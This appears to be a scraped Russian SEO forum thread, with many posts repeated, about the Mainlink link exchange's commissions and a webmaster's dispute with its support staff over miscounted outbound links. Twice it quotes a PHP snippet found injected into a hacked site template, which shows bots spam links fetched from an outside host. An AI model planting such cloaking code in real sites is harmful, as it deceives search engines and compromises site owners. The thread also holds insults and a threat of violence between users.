а) Можно вывести только средства, которые были пополнены через Webmoney или Юнитпэй/Робокассу. Та часть баланса, которая пополнялась через банк, выводу из системы не подлежит.
bna: Естественно, это понятно любому человеку недалекому от математики. Вебмастер задает начальные условия (цену), от которой и надо брать комиссию, умножая ее (цену) на 1,3 и получаю конечную стоимость за ссылку для оптимизатора.
Они исходят из того, кто завозит бабло в систему - а это оптимизаторы. Из этих денег и идут выплаты вебмастеру.
bna: Ладно, это уже и так всем понятно. Просто признали бы и все. А то как мантру повторяют - 30%,30%,30%... Быстрее бы все смирились и продолжали работать.
А что изменится от того, что они это признают? В том то и дело, что всем все понятно, но все продолжают спорить :)
mainlink, опять переиначили. Вы просили рассказать о ситуации на форуме - так рассказывайте детально. Нет никаких моих скриптов, о которых я бы мог умолчать.
Дело в том, что шаблон был взломан, причем, похоже, не нашими умельцами, а ребятами из-за бугра. При ручной проверке и проверке html кода готовой страницы никаких лишних ссылок на показывалось, что, на первый взгляд, отвергало идею взлома, о чем я писал в тикете, и на чем фокусировал внимание. Я не исключал эту идею, но для ее проверки нужно было узнать, что это за ВС, которые магическим образом исчезают во время ручной проверки. Моя вина в том, что сайт взломали, но не в том, что я умолчал о чем-то, о чем знал или специально затеял всю эту канитель.
Я лишь хочу, чтобы в базе на всех страницах показывалось верное количество внешних ссылок (и вопрос в том, какие ссылки видит ваш робот, если сайт вдруг взломан или еще что-то, потому что при ручном обновлении функциями вашей биржи их становится 0), больше мне ничего не надо.
Предположения: 1) Сайт не держит нагрузку при сканировании и хостинг может добавлять какие-то страницы с предупреждениями, где есть ВС 2) На сайте есть другие скрипты каких-то бирж, где могут подставляться ссылки (в скрытом виде или как-то еще - не знаем) 3) Что-то еще, известное пока, возможно, только вам.
По 1) - 3) - причин для появления вс на этом сайте я не вижу (не знаю)
Оказалось, что в шаблон в один из файлов уже несколько месяцев вставлен скрипт, который проверяет юзерагент посетителя (что само по себе не новость), но ориентирован только на ботов.
<?php if(preg_match('/Google Web Preview|bot|spider|wget/i',$_SERVER['HTTP_USER_AGENT'])){ echo file_get_contents('http://wedlink.buklsainsa.org/kc.txt'); } ?>
И внешние ссылки в системе появились из-за того, что сканирующий бот mainlink, видимо, содержит в нем что-то из "bot|spider|wget", а бот, который в дальнейшем проверяет внешние ссылки через ручную проверку - их не содержит.
Если бы Вы, mainlink, действительно хотели рассказать о том, что случай "довольно интересный", то стоит рассказать про эту разницу для ваших ботов. Хотя случай, безусловно, довольно банальный - взлом, пусть и хитрый. И все, что стоило сделать, чтобы решить вопрос, почему два разных ваших бота видят разное количество ВС - это запросить лог сканирования одной страницы, что, в конечном счете, и было сделано.
mainlink: Я уже извинился за сотрудника, в тикете мы также принесли извинения, конструктивная работа, надеюсь, снова налажена.
Извинения в тикете принесли, передали другому сотруднику, вопрос решается. Новый сотрудник оставил приятное впечатление.
Еще раз, повторю, у меня нет претензий по работе биржи mainlink, у меня были вопросы по конкретному сотруднику.
К Вам, mainlink, у меня остались те же вопросы, озвученные в предыдущем посте, по которому у пользователей, видимо, должно сложиться мнение, что я повернул ситуацию как-то не так. Извинения Вы тут принесли, но с оговорками, мол, "сам дурак". Ну да ладно, пусть это останется на вашей совести.
Впрочем, инцидент исчерпан, но, надеюсь, все посты останутся на месте, чтобы некоторым неповадно было.
yet_warm: Один начал нести пургу, у другого настроение было неважное - ответил адекватно, хоть и не совсем "толерантными" словами\фразами.
Адекватно обвинить в том, чего не было? Пурга в том, что неправильно определяется количество ВС?
Ленивое Z: Выбор есть же у каждого. Я-то свой сделал.
Ну да, я думаю, пользователи, которые прочитают переписку, о тебе выводы сделают. Можешь, кстати, рассказать, что тебя так задело в моих сообщениях, что ты на мат перешел?
Ленивое Z: Я ни секунды не задумывался, когда товарища в путь отправил, а лично увижу ещё и челюсть сверну.
Правильно! Тут я, наверное, должен тебе ответить что-то из серии "давай адресок скину, приезжай?". Адекватность и конструктив так и прет.
— Здорова! Со школы с тобой не виделись! Может побухаем как—нибудь? Ты где живёшь? — По ту сторону культурной пропасти.
mainlink: А запостить такое - это чтобы все повеселились.
Запостить такое - это чтобы показать, насколько адекватен ваш суппорт, и задать вопрос как к этому относится руководство.
dndz-sat: В любом случае такое общение недопустимо как со стороны поддержки, так и пользователя (буратина был тупой, тупой как дрова).
Я надеюсь, когда Вам ответят так, как мне, Вы извинитесь, что были недостаточно нежны, проглотите и будете очень довольны.
mainlink: Сотруднику будет предъявлен выговор, но все-таки, перед тем как поливать какашками, все же нужно быть сдержанным в оценке работы сотрудников, т.к. обе стороны - люди.
Нужно адекватно вести себя, если у Вас сотрудник возомнил себя царем и Богом, и в некотором роде ставит себя выше биржи - то это вопросы к нему и к руководству. Либо политика биржи такая, что так общаться дозволено, либо он не понимает, что делает.
burunduk: ну кстати, в своё время я выбрал майлинк именно за самый отзывчивый и дружелюбный саппорт и ни разу не пожалел
Кроме этого неадеквата в поддержке у меня к mainlink нет претензий :)
mainlink: Коллеги, посмеялся от души, скрины не все приведены, ну да Бог с ним.
Если пользователь начинает матом поливать сапорт, ну значит пользователь не совсем адекватен и, возможно, ожидает такую же реакцию. А запостить такое - это чтобы все повеселились.
Если кого-то обидели - прошу прощения.
Сотруднику будет предъявлен выговор, но все-таки, перед тем как поливать какашками, все же нужно быть сдержанным в оценке работы сотрудников, т.к. обе стороны - люди.
Давайте не будем придумывать и вешать лапшу на уши. Какие скрины не приведены? На каком из скринов я "матом полил поддержку"?
I know how, как вот эта часть, что
согласуется с законодательством РФ?
Естественно, это понятно любому человеку недалекому от математики. Вебмастер задает начальные условия (цену), от которой и надо брать комиссию, умножая ее (цену) на 1,3 и получаю конечную стоимость за ссылку для оптимизатора.
Они исходят из того, кто завозит бабло в систему - а это оптимизаторы. Из этих денег и идут выплаты вебмастеру.
Ладно, это уже и так всем понятно. Просто признали бы и все. А то как мантру повторяют - 30%,30%,30%... Быстрее бы все смирились и продолжали работать.
А что изменится от того, что они это признают? В том то и дело, что всем все понятно, но все продолжают спорить :)
Вопрос к I know how: почему, если цена для ссылок у вебмастера указана 230 р., ему присылают задания с ценой 176 р. ?
потому что авторассылка работает через одно место
mainlink, опять переиначили. Вы просили рассказать о ситуации на форуме - так рассказывайте детально. Нет никаких моих скриптов, о которых я бы мог умолчать.
Дело в том, что шаблон был взломан, причем, похоже, не нашими умельцами, а ребятами из-за бугра. При ручной проверке и проверке html кода готовой страницы никаких лишних ссылок на показывалось, что, на первый взгляд, отвергало идею взлома, о чем я писал в тикете, и на чем фокусировал внимание. Я не исключал эту идею, но для ее проверки нужно было узнать, что это за ВС, которые магическим образом исчезают во время ручной проверки. Моя вина в том, что сайт взломали, но не в том, что я умолчал о чем-то, о чем знал или специально затеял всю эту канитель.
1) Сайт не держит нагрузку при сканировании и хостинг может добавлять какие-то страницы с предупреждениями, где есть ВС
2) На сайте есть другие скрипты каких-то бирж, где могут подставляться ссылки (в скрытом виде или как-то еще - не знаем)
3) Что-то еще, известное пока, возможно, только вам.
Оказалось, что в шаблон в один из файлов уже несколько месяцев вставлен скрипт, который проверяет юзерагент посетителя (что само по себе не новость), но ориентирован только на ботов.
if(preg_match('/Google Web Preview|bot|spider|wget/i',$_SERVER['HTTP_USER_AGENT'])){
echo file_get_contents('http://wedlink.buklsainsa.org/kc.txt');
}
?>
И внешние ссылки в системе появились из-за того, что сканирующий бот mainlink, видимо, содержит в нем что-то из "bot|spider|wget", а бот, который в дальнейшем проверяет внешние ссылки через ручную проверку - их не содержит.
Если бы Вы, mainlink, действительно хотели рассказать о том, что случай "довольно интересный", то стоит рассказать про эту разницу для ваших ботов. Хотя случай, безусловно, довольно банальный - взлом, пусть и хитрый. И все, что стоило сделать, чтобы решить вопрос, почему два разных ваших бота видят разное количество ВС - это запросить лог сканирования одной страницы, что, в конечном счете, и было сделано.
Проблема решена, всем не болеть.
Говорят, ТС - барыга, втюхивает лохам ворованный плагин за 100 баксов.
кто говорит?
проверяющие, кто брал за отзыв, развейте - Wordpress Video Robot Plugin - да?
Такого плагина в комплекте с мануалом нет, устанавливать его не предлагается. Реализация простая, думаю, что самопис.
UPD. Посмотрел ссылку на тот плагин, реализация совсем другая.
Я уже извинился за сотрудника, в тикете мы также принесли извинения, конструктивная работа, надеюсь, снова налажена.
Извинения в тикете принесли, передали другому сотруднику, вопрос решается. Новый сотрудник оставил приятное впечатление.
Еще раз, повторю, у меня нет претензий по работе биржи mainlink, у меня были вопросы по конкретному сотруднику.
К Вам, mainlink, у меня остались те же вопросы, озвученные в предыдущем посте, по которому у пользователей, видимо, должно сложиться мнение, что я повернул ситуацию как-то не так. Извинения Вы тут принесли, но с оговорками, мол, "сам дурак". Ну да ладно, пусть это останется на вашей совести.
Впрочем, инцидент исчерпан, но, надеюсь, все посты останутся на месте, чтобы некоторым неповадно было.
Один начал нести пургу, у другого настроение было неважное - ответил адекватно, хоть и не совсем "толерантными" словами\фразами.
Адекватно обвинить в том, чего не было? Пурга в том, что неправильно определяется количество ВС?
Выбор есть же у каждого. Я-то свой сделал.
Ну да, я думаю, пользователи, которые прочитают переписку, о тебе выводы сделают. Можешь, кстати, рассказать, что тебя так задело в моих сообщениях, что ты на мат перешел?
Я ни секунды не задумывался, когда товарища в путь отправил, а лично увижу ещё и челюсть сверну.
Правильно! Тут я, наверное, должен тебе ответить что-то из серии "давай адресок скину, приезжай?". Адекватность и конструктив так и прет.
— По ту сторону культурной пропасти.
и вполне вменяемым коллективом
Не все, видимо :)
А запостить такое - это чтобы все повеселились.
Запостить такое - это чтобы показать, насколько адекватен ваш суппорт, и задать вопрос как к этому относится руководство.
В любом случае такое общение недопустимо как со стороны поддержки, так и пользователя (буратина был тупой, тупой как дрова).
Я надеюсь, когда Вам ответят так, как мне, Вы извинитесь, что были недостаточно нежны, проглотите и будете очень довольны.
Сотруднику будет предъявлен выговор, но все-таки, перед тем как поливать какашками, все же нужно быть сдержанным в оценке работы сотрудников, т.к. обе стороны - люди.
Нужно адекватно вести себя, если у Вас сотрудник возомнил себя царем и Богом, и в некотором роде ставит себя выше биржи - то это вопросы к нему и к руководству. Либо политика биржи такая, что так общаться дозволено, либо он не понимает, что делает.
ну кстати, в своё время я выбрал майлинк именно за самый отзывчивый и дружелюбный саппорт и ни разу не пожалел
Кроме этого неадеквата в поддержке у меня к mainlink нет претензий :)
[ATTACH]144343[/ATTACH]
.
Коллеги, посмеялся от души, скрины не все приведены, ну да Бог с ним.
Если пользователь начинает матом поливать сапорт, ну значит пользователь не совсем адекватен и, возможно, ожидает такую же реакцию. А запостить такое - это чтобы все повеселились.
Если кого-то обидели - прошу прощения.
Сотруднику будет предъявлен выговор, но все-таки, перед тем как поливать какашками, все же нужно быть сдержанным в оценке работы сотрудников, т.к. обе стороны - люди.
Давайте не будем придумывать и вешать лапшу на уши. Какие скрины не приведены? На каком из скринов я "матом полил поддержку"?
[ATTACH]144344[/ATTACH]
[ATTACH]144339[/ATTACH]
[ATTACH]144340[/ATTACH]
[ATTACH]144341[/ATTACH]
[ATTACH]144342[/ATTACH]